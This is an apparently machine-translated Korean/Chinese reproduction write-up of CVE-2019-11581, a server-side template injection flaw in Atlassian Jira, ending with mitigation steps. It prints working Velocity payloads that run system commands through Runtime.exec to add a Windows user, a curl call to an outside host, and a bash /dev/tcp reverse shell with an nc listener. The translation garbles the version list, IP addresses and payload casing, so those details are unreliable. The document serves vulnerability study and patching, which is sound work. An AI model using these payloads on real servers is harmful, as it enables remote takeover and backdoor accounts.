제목 : Atlassian Jira 서버 템플릿 주입 취약성 재발 (CVE-2019-11581)

0x00 漏洞描述​

Atlassian Jira는 Atlassian Australia의 결함 추적 관리 시스템입니다. 이 시스템은 주로 작업의 다양한 문제와 결함을 추적하고 관리하는 데 사용됩니다.
Atlassian Jira Server 및 Jira Data Center에는 서버 측 템플릿 주입 취약점이 있습니다. 이 취약점을 성공적으로 이용한 공격자는 영향을받는 JIRA 서버 또는 JIRA 데이터 센터를 실행하는 서버에서 임의의 명령을 실행하여 서버 권한을 얻고 네트워크 자산을 심각하게 위태롭게 할 수 있습니다.

0x01 CVE编号​

CVE-2019-11581

0x02 漏洞危害等级​

高危

0x03 漏洞影响范围​

Atlassianjira 4.4.xatlassianjira 5.x.xatlassianjira 6.x.xatlassianjira 7.0.x
Atlassianjira 7.1.x
Atlassianjira 7.2.xatlassianjira 7.3.xatlassianjira 7.4.xatlassianjira 7.5.xatlassianjira 7.6.6.6.6.6.14atlassianjira 7.7.xatlassianjira 7.8.xatlassianjira 7.8.xatlassianjira 7.10.xatlassianjira 7.11.xatlassianjira 7.10.xatlassianjira. 7.12.xatlassianjira 7.13.x 7.13.5atlassianjira 8.0.x 8.0.3Atlassianjira 8.1.x 8.1.2atlassianjira 8.2.x 8.2.3

0x04 漏洞简析​

1.利用前提条件:첫째, 무단 코드 실행 활용 조건 : JIRA는 SMTP 서버를 구성했으며 "웹 사이트 관리자 양식"기능을 활성화해야합니다. (웹 인터페이스 디자인에서 실제로 SMTP 서버가 구성되지 않은 경우이 기능을 활성화 할 수 없습니다.
두 번째 이용 시나리오는 JIRA 관리자의 권한을 얻는 것이며 활용 조건을 충족하기가 어렵습니다. 여기서 우리는 주로 첫 번째 상황을 분석합니다. 그 이유는 Atlassian-Jira/Web-INF/Classe/com/Atlassian/Jira/Action/Action/User/ContactAdMinistrators가 주제 (메일 주제)를 필터링하지 않으며 사용자의 들어오는 이메일 주제는 템플릿 (템플릿) 지침으로 실행되기 때문입니다. 두 경우 모두이 취약점을 성공적으로 이용한 공격자는 영향을받는 버전의 JIRA 서버 또는 JIRA 데이터 센터를 실행하는 시스템에서 명령을 실행할 수 있습니다.
2.以下两种url漏洞验证方式:첫 번째 유형에는 관리자 계정 권한이 필요하지 않습니다.
ecfmw35x25d16382.png

두 번째 유형에는 관리자 계정 권한이 필요합니다
zo3mt1s1ag216383.png

다음 실행 버전 번호가 발생하면 취약점이 있습니다.

0x05 漏洞复现​

1. 漏洞利用条件연락처 관리자를 활성화해야합니다 (백엔드 관리자 계정 및 비밀번호를 알아야합니다)
2.环境准备:Atlassian jirav7.13.0 (이 버전을 예로 들어이 버전에는 취약점이 있습니다) 다운로드 주소 :
설치 프로세스는 더 이상 설명되지 않습니다 (프롬프트에 따르면 먼저 공무원에 계정을 등록한 다음 시험 일련 번호를 받고 설치하십시오). 전자 메일 구성 단계가 선택된 후 (기본값 IS) 배경 구성을 입력하십시오.
3.确认未登陆状态下漏洞的存在다음 URL 액세스 (관리자 계정 권한 없음) :
http://10.206.1.833608080/secure/contactAdMinistrators! default.jspa
프롬프트가 다음과 같습니다. 이는 구성없이 취약성을 트리거 할 수 없음을 의미합니다.
4fpxyfhxy5e16385.png
배경에 로그인하여 관리자에게 문의하십시오. 구성 주소는 다음과 같습니다.
http://10.10.20.20.11633608080/secure/admin/editApplicationProperties! default.jspa
기본값이 꺼져 있습니다. 메시지를 켜기 전에 STMP를 구성해야합니다. STMP가 구성되면 연결을 테스트 할 수 있습니다. 서버는 포트 25를 열어야합니다. 그렇지 않으면 이메일을 보낼 수 없습니다. 다음 그림은 성공적으로 활성화되어 있음을 보여줍니다.
jzdvym0ss4j16386.png
4.未登陆状态下触发漏洞방문
http://10.206.1.833608080/secure/contactAdMinistrators! default.jspa
nsauyfxjwor16387.png
주제의 페이로드를 채우십시오. 여기의 환경은 Windows 시스템이므로 관찰 할 계정을 추가 할 수 있습니다. Linux는 리바운드 쉘 코드 등을 사용할 수 있습니다. 어쨌든 실행하려는 명령으로 대체됩니다.
$ i18n.getClass (). Forname ( 'java.lang.runtime'). getMethod ( 'getRuntime', null) .invoke (null, null) .Exec ( 'net user bk abc@abc123 /add'). Waitfor ()
suviu0vk10416388.png
는 이메일 대기열에 가입하기 때문에 보내 후 잠시 기다릴 수 있습니다. 현재 서버로 이동하여 NET 사용자를 실행하여 확인하고 명령을 실행하여 방금 추가 한 계정인지 확인하십시오.
iokxwpimw3a16389.png

5. 登陆管理员账号触发漏洞관리자 계정에 로그인하고 다음 URL에 액세스하십시오.
http://10.206.1.8:8080/secure/admin/sendbulkmail! default.jspa
다음과 같이 페이로드를 채우면 계정 이름을 추가하려면 명령을 실행하십시오.
$ i18n.getClass (). ForName ( 'java.lang.runtime'). getMethod ( 'getRuntime', null) .invoke (null, null) .Exec ( 'NET 사용자 BK01 ABC@ABC123 /ADD'). Waitfor ()
vevwlghy5pf16390.png

2jdmyquyixd16391.png

Linux에서 실행 파일 :
대상 JIRA 시스템 실행 파일 POC
$ i18n.getClass (). Forname ( 'java.lang.runtime'). getMethod ( 'getRuntime', null) .invoke (null, null) .Exec ( 'curl http://www.baidu.com').
$ i18n.getClass (). ForName ( 'java.lang.runtime'). getMethod ( 'getRuntime', null) .invoke (null, null) .Exec ( 'bash -i/dev/tcp/take it/2333 01').
공격자 호스트는 :NC -LVVP 2333을 실행합니다

0x06 漏洞修复​

1.临时处置建议JIRA를 제 시간에 업그레이드 할 수없는 경우 다음 완화 조치를 취할 수 있습니다.
1. http://IP:port/Secure/ContactAdMinistrators! default.jspa에 대한 액세스를 비활성화합니다
2. 연락처 웹 사이트 관리자 양식 기능을 끄고 특정 단계는 다음과 같습니다.
settings=system=편집 설정=연락처 관리자 양식 "OFF"를 선택하고 하단에서 "업데이트"를 클릭하여 설정을 저장합니다.
1h22vpeqcwp16392.png
9 세트 설정
vdswq4k111o16393.png
연락처 웹 사이트 관리자 양식 기능을 닫습니다
2.处置建议1. 취약점의 영향을받지 않는 버전으로 업그레이드하십시오.
2. http://IP:port/secure/admin/sendbulkmail! default.jspa에 대한 소스 IP 액세스를 제한하십시오

0x07 参考文献​

 
뒤로
상단